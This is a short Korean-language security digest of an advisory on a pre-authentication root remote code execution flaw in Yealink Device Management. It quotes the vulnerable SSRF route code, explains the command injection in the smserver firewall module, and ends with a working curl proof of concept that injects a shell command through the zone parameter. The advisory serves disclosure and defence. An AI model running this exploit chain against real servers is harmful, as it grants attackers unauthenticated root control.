[하루한줄] Yealink DM Pre-Auth root level RCE
URL
SSD Advisory – Yealink DM Pre Auth ‘root’ level RCE
Target
- Yealink DM 3.6.0.20 버전 이하
Explain
통합 개발 및 배포, 실시간 모니터링 및 경고, 원격 문제 해결 등의 솔루션을 가진 Yealink Device Management(이하 Yealink DM) platform에서 인증되지 않은 원격 사용자가 임의 명령을 수행할 수 있는 취약점이 발견되었습니다.
원격 코드 실행은 pre-auth SSRF 취약점과 Command Injection 취약점을 체이닝 하여 트리거 됩니다. SSRF 취약점이 존재하는 /usr/local/yealink/dmweb/api/index.js
코드 일부는 다음과 같습니다.
17 module.exports = app => {
18 app.use('/premise', router);
19 };
[...]
217 router.get('/front/getPingData', (req, res) => {
218 // res.send({"ret":1,"data":"PING www.baidu.com (14.215.177.38): 56 data bytes\n64 bytes from 14.215.177.38: seq=0 ttl=54 time=15.084 ms\n64 bytes from 14.215.177.38: seq=1 ttl=54 time=15.888 ms\n64 bytes from 14.215.177.38: seq=2 ttl=54 time=15.742 ms\n64 bytes from 14.215.177.38: seq=3 ttl=54 time=15.622 ms\n64 bytes from 14.215.177.38: seq=4 ttl=54 time=16.384 ms\n\n--- www.baidu.com ping statistics ---\n5 packets transmitted, 5 packets received, 0% packet loss\nround-trip min/avg/max = 15.084/15.744/16.384 ms\n","error":null})
219 // return;
220 try {
221 let url = req.query.url;
222 // ��telnet�����pos���ping�trace����������端�����pos��以�并�pos传��
223 let pos = req.query.pos;
224 console.log(`url===${url}`);
225 let headers = {
226 'Content-Type': 'application/json',
227 'User-Agent': req.headers['user-agent'],
228 'x-forwarded-for': commom.getClientIP(req),
229 token: req.session.token
230 };
231 request.get({
232 url: url,
233 headers: headers,
234 timeout: 60000,
235 qs: {
236 pos: pos
237 }
238 }).pipe(res);
239 } catch (e) {
240 console.error(e);
241 res.send(
242 errcode.MakeResult(
243 errcode.ERR,
244 e,
245 errcode.INTERNAL_ERROR,
246 'server.common.internal.error'
247 )
248 );
249 }
250 });
17번 줄에서 추가적인 API 사용을 위해 /premise
route를 정의합니다. 그 후 217번 줄에서 /premise/front/getPingData
를 GET 메소드의 route로 정의합니다. 232번 줄에서 특정 헤더를 사용하여 URL을 GET 메소드로 전송할 수 있습니다. 헤더는 225줄에서 정의되어 있으므로 해당 헤더 값으로 URL을 전송하면 해커가 제어하는 URL을 전송할 수 있습니다.
해당 취약점을 통해 0.0.0.0:9600/tcp
에서 root로 실행되는 smserver
데몬에 요청을 보냅니다. smserver
의 mod_firewall.so
모듈에는 Command injection을 할 수 있는 fw_restful_service_get()
함수가 존재합니다. 해당 함수는 zone=
에 들어온 GET 변수를 사용하여 명령을 실행합니다.
따라서 SSRF를 통해 smserver
에 payload를 작성하여 보내면 root 권한으로 Remote Code Execution이 가능합니다.
curl --insecure "https://[target]/premise/front/getPingData?url=http://0.0.0.0:9600/sm/api/v1/firewall/zone/services?zone=;/usr/bin/id;"
본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.